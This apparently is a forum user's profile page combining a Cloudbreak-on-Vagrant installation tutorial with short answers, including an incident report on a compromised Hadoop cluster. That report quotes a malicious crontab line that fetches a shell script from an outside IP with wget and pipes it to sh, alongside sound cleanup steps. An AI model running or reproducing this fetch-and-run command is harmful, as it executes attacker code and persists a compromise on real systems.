Once the process is complete you should have 1 vm running. You can verify by looking at the VirtualBox UI where you should see the
cloudbreak VM running. You should see something similar to this:
Connect to Your Virtual Machine
You should be able to login to your VM using the
vagrant ssh command. You should see something similar to the following:
$ vagrant ssh
[vagrant@cloudbreak ~]$
Configure Cloudbreak
The installation of Cloudbreak is covered well in the docs:
Cloudbreak Install Docs. However, we've automated most of the tasks using the install.sh script. You can skip down to the Install Cloudbreak on Your Own VM section, step 3.
We need to be root for this, so we'll use
sudo .
$ sudo -i
Create Profile file
Now you need to setup the Profile file. This file contains environment variables that determines how Cloudbreak runs. Edit
Profile using your editor of choice.
You need to include at least 4 settings.
export UAA_DEFAULT_SECRET='[SECRET]'
export UAA_DEFAULT_USER_EMAIL='<myemail>'
export UAA_DEFAULT_USER_PW='<mypassword>'
export PUBLIC_IP=192.168.56.100
You should set the
UAA_DEFAULT_USER_EMAIL variable to the email address you want to use. This is the account you will use to login to Cloudbreak. You should set the UAA_DEFAULT_USER_PW variable to the password you want to use. This is the password you will use to login to Cloudbreak. You may need to change the value of PUBLIC_IP to avoid conflicts on your network. Verify Cloudbreak Version
You should check the version of Cloudbreak to make sure the correct version is installed.
[root@cloudbreak cloudbreak-deployment]# cbd --version
You should see something similar to this:
[root@cloudbreak cloudbreak-deployment]# cbd --version
Cloudbreak Deployer: 2.4.1
NOTE: We are installing version 2.4.1 which is the latest GA version as of May 2018 Initialize Cloudbreak Configuration
Now that you have a profile, you can initialize your Cloudbreak configuration files. First you need to run the
cbd generate command. You should see something similar to the following:
[root@cloudbreak cloudbreak-deployment]# cbd generate
* Dependency required, installing sed latest ...
* Dependency required, installing jq latest ...
* Dependency required, installing docker-compose 1.13.0 ...
* Dependency required, installing aws latest ...
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
ff3a5c916c92: Pulling fs layer
ff3a5c916c92: Verifying Checksum
ff3a5c916c92: Download complete
ff3a5c916c92: Pull complete
Digest: sha256:7df6db5aa61ae9480f52f0b3a06a140ab98d427f86d8d5de0bedab9b8df6b1c0
Status: Downloaded newer image for alpine:latest
Generating Cloudbreak client certificate and private key in /opt/cloudbreak-deployment/certs with 192.168.56.100 into /opt/cloudbreak-deployment/certs/traefik.
generating docker-compose.yml
generating uaa.yml
The second step is to pull down the the Docker images used by Cloudbreak using the
cbd pull-parallel command. You should see something similar to the following:
[root@cloudbreak cloudbreak-deployment]# cbd pull-parallel
Pulling haveged (hortonworks/haveged:1.1.0)...
1.1.0: Pulling from hortonworks/haveged
Digest: sha256:31c6151ebd88ac65322969c7a71969c0d95d98a9eafd4eaab56e11c62c48c42b
Status: Downloaded newer image for hortonworks/haveged:1.1.0
Pulling uluwatu (hortonworks/hdc-web:2.4.1)...
2.4.1: Pulling from hortonworks/hdc-web
...
Start Cloudbreak
Once you have generated the configuraiton files and pulled down the Docker images, you can start Cloudbreak. You start Cloudbreak using the
cbd start command. You should see something similar to the following:
[root@cloudbreak cloudbreak-deployment]# cbd start
generating docker-compose.yml
generating uaa.yml
Pulling haveged (hortonworks/haveged:1.1.0)...
1.1.0: Pulling from hortonworks/haveged
ca26f34d4b27: Pull complete
bf22b160fa79: Pull complete
d30591ea011f: Pull complete
22615e74c8e4: Pull complete
ceb5854e0233: Pull complete
Digest: sha256:09f8cf4f89b59fe2b391747181469965ad27cd751dad0efa0ad1c89450455626
Status: Downloaded newer image for hortonworks/haveged:1.1.0
Pulling uluwatu (hortonworks/cloudbreak-web:1.14.0)...
1.14.0: Pulling from hortonworks/cloudbreak-web
16e32a1a6529: Pull complete
8e153fce9343: Pull complete
6af1e6403bfe: Pull complete
075e3418c7e0: Pull complete
9d8191b4be57: Pull complete
38e38dfe826c: Pull complete
d5d08e4bc6be: Pull complete
955b472e3e42: Pull complete
02e1b573b380: Pull complete
Digest: sha256:06ceb74789aa8a78b9dfe92872c45e045d7638cdc274ed9b0cdf00b74d118fa2
...
Creating cbreak_periscope_1
Creating cbreak_logsink_1
Creating cbreak_identity_1
Creating cbreak_uluwatu_1
Creating cbreak_haveged_1
Creating cbreak_consul_1
Creating cbreak_mail_1
Creating cbreak_pcdb_1
Creating cbreak_uaadb_1
Creating cbreak_cbdb_1
Creating cbreak_sultans_1
Creating cbreak_registrator_1
Creating cbreak_logspout_1
Creating cbreak_cloudbreak_1
Creating cbreak_traefik_1
Uluwatu (Cloudbreak UI) url:
https://192.168.56.100
login email:
myoung@hortonworks.com
password:
****
creating config file for hdc cli: /root/.hdc/config
The start command will output the IP address and the username to login which is based on what we setup in the Profile. Check Cloudbreak Logs
You can always look at the Cloudbreak logs in /opt/cloudbrea-deployer/cbreak.log. You can also use the
cbd logs cloudbreak command to view logs in real time. Cloudbreak is ready to use when you see a message similar to Started CloudbreakApplication in 64.156 seconds (JVM running for 72.52) . Login to Cloudbreak
Cloudbreak should now be running. We can login to the UI using the IP address specified in the Profile. In our case that is
https://192.168.56.100 . Notice Cloudbreak uses https .
Your browser may display a warning similar to the following:
This is because of the self-signed certificate used by Cloudbreak. You should accept the certificate and trust the site. Then you should see a login screen similar to the following:
At this point you should be able to see the Cloudbreak UI screen where you can manage your credentials, blueprints, etc. This tutorial doesn't cover setting up credentials or deploying a cluster. Before you can deploy a cluster you need to setup
credentials . See this link for setting up your credentials:
Managing Cloudbreak AWS Credentials Stopping Cloudbreak
When you are ready to shutdown Cloudbreak, the process is simple. First you need to stop Cloudbreak using the
cbd kill command. You should see something similar to this:
[root@cloudbreak cloudbreak-deployment]# cbd kill
Stopping cbreak_traefik_1 ... done
Stopping cbreak_cloudbreak_1 ... done
Stopping cbreak_logspout_1 ... done
Stopping cbreak_registrator_1 ... done
Stopping cbreak_sultans_1 ... done
Stopping cbreak_uaadb_1 ... done
Stopping cbreak_cbdb_1 ... done
Stopping cbreak_pcdb_1 ... done
Stopping cbreak_mail_1 ... done
Stopping cbreak_haveged_1 ... done
Stopping cbreak_consul_1 ... done
Stopping cbreak_uluwatu_1 ... done
Stopping cbreak_identity_1 ... done
Stopping cbreak_logsink_1 ... done
Stopping cbreak_periscope_1 ... done
Going to remove cbreak_traefik_1, cbreak_cloudbreak_1, cbreak_logspout_1, cbreak_registrator_1, cbreak_sultans_1, cbreak_uaadb_1, cbreak_cbdb_1, cbreak_pcdb_1, cbreak_mail_1, cbreak_haveged_1, cbreak_consul_1, cbreak_uluwatu_1, cbreak_identity_1, cbreak_logsink_1, cbreak_periscope_1
Removing cbreak_traefik_1 ... done
Removing cbreak_cloudbreak_1 ... done
Removing cbreak_logspout_1 ... done
Removing cbreak_registrator_1 ... done
Removing cbreak_sultans_1 ... done
Removing cbreak_uaadb_1 ... done
Removing cbreak_cbdb_1 ... done
Removing cbreak_pcdb_1 ... done
Removing cbreak_mail_1 ... done
Removing cbreak_haveged_1 ... done
Removing cbreak_consul_1 ... done
Removing cbreak_uluwatu_1 ... done
Removing cbreak_identity_1 ... done
Removing cbreak_logsink_1 ... done
Removing cbreak_periscope_1 ... done
[root@cloudbreak cloudbreak-deployment]#
Now exit the Vagrant box:
[root@cloudbreak cloudbreak-deployment]# exit
logout
[vagrant@cloudbreak ~]$ exit
logout
Connection to 127.0.0.1 closed.
Now we can shutdown the Vagrant box
$ vagrant halt
==> cloudbreak: Attempting graceful shutdown of VM...
Starting Cloudbreak
To startup Cloudbreak, the process is the opposite of stopping it. First you need to start the Vagrant box:
$ vagrant up
Once the Vagrant box is up, you need to ssh in to the box:
$ vagrant ssh
You need to be root:
$ sudo -i
Before starting Cloudbreak, make sure you are in the application directory:
$ cd /opt/cloudbreak-deployer
Now start Cloudbreak using the
cbd start command. You should see something similar to this:
[root@cloudbreak cloudbreak-deployment]# cbd start
generating docker-compose.yml
generating uaa.yml
Creating cbreak_consul_1
Creating cbreak_periscope_1
Creating cbreak_sultans_1
Creating cbreak_uluwatu_1
Creating cbreak_identity_1
Creating cbreak_uaadb_1
Creating cbreak_pcdb_1
Creating cbreak_mail_1
Creating cbreak_haveged_1
Creating cbreak_logsink_1
Creating cbreak_cbdb_1
Creating cbreak_logspout_1
Creating cbreak_registrator_1
Creating cbreak_cloudbreak_1
Creating cbreak_traefik_1
Uluwatu (Cloudbreak UI) url:
https://192.168.56.100
login email:
myoung@hortonworks.com
password:
****
creating config file for hdc cli: /root/.hdc/config
[root@cloudbreak cloudbreak-deployment]#
It takes a minute or two for the Cloudbreak application to fully start up. Now you can login to the Cloudbreak UI. Review
If you have successfully followed along with this tutorial, you should now have a Vagrant box you can spin up via
vagrant up , startup Cloudbreak via cbd start and then create your clusters on the cloud.
You can download a copy of my Vagrantfile, server.yaml and install.sh file here:
https://github.com/Jaraxal/vagrant-virtualbox-cloudbreak
... View more
Labels:
05-25-2018
08:36 PM
1 Kudo
@David I ran into something like this recently on a POC cluster. The problem seen on this cluster was a "yarn" process was consuming 100% of cpu resources on multiple servers. We shutdown all of the HDP services via Ambari to make sure there wasn't any rogue HDP processes running. This "yarn" process was still running. It turns out it was a process running this: /var/tmp/java -c /var/tmp/w.conf Killing the process with "kill -9" would kill the process off only for it to respawn a few seconds later. Removing the "/var/tmp/java" file also only worked for a few seconds before it too returned. We ended up looking at crontab and found this: $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1 We removed the crontab entry, killed the running process and remove the java file on all nodes. The processes no longer returned and we restarted the HDP cluster via Ambari. The root cause appeared to be security group rules on AWS allowing access to the cluster. I've seen variations of this reported out of /tmp/java and using "h.conf" instead of "w.conf".
... View more
03-02-2018
05:42 PM
@Akshat Mathur That is handy, thank you for sharing! If you think my response was helpful, please accept the answer to make it easier for others to find answers.
... View more
03-02-2018
01:26 PM
1 Kudo
@Akshat Mathur If you describe the table in hive, you should be able to see the compression algorithm applied to the table: hive> describe formatted <hive_table>; I don't believe there is a quick way to see if it is compressed via HDFS.
... View more
03-02-2018
01:00 PM
@Dmitro Vasilenko If you think my answer was helpful, please accept it to make it easier for others to find.
... View more